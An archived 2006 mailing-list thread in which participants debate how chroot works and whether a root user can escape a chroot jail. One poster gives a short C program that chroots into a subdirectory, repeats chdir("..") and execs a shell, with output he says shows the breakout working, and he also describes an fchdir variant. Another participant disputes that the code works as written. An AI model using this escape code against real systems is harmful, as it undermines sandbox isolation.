On Saturday September 23 2006 19:18, guy keren wrote:
> On Sat, 2006-09-23 at 06:25 +0300, Michael Vasiliev wrote:
> > On Saturday September 23 2006 03:31, Amos Shapira wrote:
> > > On 23/09/06, Michael Vasiliev <[EMAIL PROTECTED]> wrote:
> > > > Not entirely correct, if you have some privileges, namely if you are
> > > > still a root user inside a chroot padded cell, you can easily break
> > > > out by moving up
> > >
> > > a root user can just create a device file and access any device
> > > through that, that's why you shouldn't give root access if you don't
> > > trust the user of the chroot jail.
> >
> > No points. We weren't discussing that, we discussed how the chroot call
> > works. There are infinite number of things you can do with root access.
> >
> > > > the tree with fchdir(open(".",O_RDONLY)), followed by a number of
> > > > chdir("..") and chrooting("."), eventually hitting the /. I think the
> > > > BSD version of
> > >
> > > Are you sure?  Have you tried this?
> >
> > Actually, I did something like that, about ten years ago. :) But don't
> > tell anyone, ok? ;)
> >
> > > Here is what happens at the root of a chroot'ed directory:
> > > # ls -ldi . ..
> > > 2 drwxr-xr-x  22 root root 624 2006-06-08 17:49 .
> > > 2 drwxr-xr-x  22 root root 624 2006-06-08 17:49 ..
> > >
> > > Same directory outside chroot:
> > > # ls -ldi . ..
> > > 2 drwxr-xr-x 22 root root  624 2006-06-08 17:49 .
> > > 2 drwxr-xr-x 22 root root 4096 2006-08-26 10:25 ..
> > >
> > > I.e. the chroot environment will simulate the standard practice of
> > > "/.." == "/" (the "624" means the they are the same i-node)
> >
> > Ok, they are on the same inode. I never claimed otherwise. And your point
> > is?
> >
> > If the chroot does not set the working directory of the calling program
> > to the chroot one, I don't even need the fchroot call.
> >
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <unistd.h>
> > int main()
> > {
> > int i;
> > mkdir("foo",0755);
> > chroot("foo");
> > for(i=0;i<255;i++) {
> >         chdir("..");
> >         }
> > chroot(".");
> > execl("/bin/sh","-i",NULL);
> > }
> >
> > Works for me...
> >
> > foo / # chroot /chroot /bin/bash
> > bash-3.1# ./bar
> > foo / # ls
> > bin  boot  chroot  dev  etc  home  lib  lost+found  mnt  opt  proc  root 
> > sbin sys  tmp  usr  var
> > foo / #
>
> your program is flawed, and you didn't see it because you didn't check
> any errors in it, neither have you read the man page of 'chroot(2)'.

For a man your age, you spend too much time under my bed.

> according to the man page, chroot does NOT change the directory. you
> need to change it explicitly in your code. so your program did not
> create the so-called "root jail" properly. if you had added a 'chdir'
> into the new directory, and then did 'chroot "."', then you'd have done
> your job (more) properly.

The program was never intended to create a root jail, but to escape from one 
by setting a new root deeper than the working directory, thus effectively 
placing the wd outside the chroot, and then nothing will prevent me from 
chdir-ing all the way to the top. 
Even if you change the working directory of the calling process in your chroot 
code, I could still escape by adding the code of opening the wd, and fchdir 
into it to the code above, before the chdirs. It works for me, on my system. 
It does not have to work "as is" on yours. How should I know what grsecurity 
patch you have compiled in?

> if you add error printings to your code, you'll see that your last execl
> fails with 'no such file or directory'.

Interesting. My original code had the error checks in. I stripped them. No, 
the execl call did not fail. I am a little bit concerned though, about your 
claims that you see things that happen on my system. Is it your wild 
imagination or should I be very, very afraid (TM) ? :)

-- 
Sincerely Yours,
Michael Vasiliev

"Simplicity is prerequisite for reliability."
                        -- Edsger Wybe Dijkstra

=================================================================
To unsubscribe, send mail to [EMAIL PROTECTED] with
the word "unsubscribe" in the message body, e.g., run the command
echo unsubscribe | mail [EMAIL PROTECTED]

Reply via email to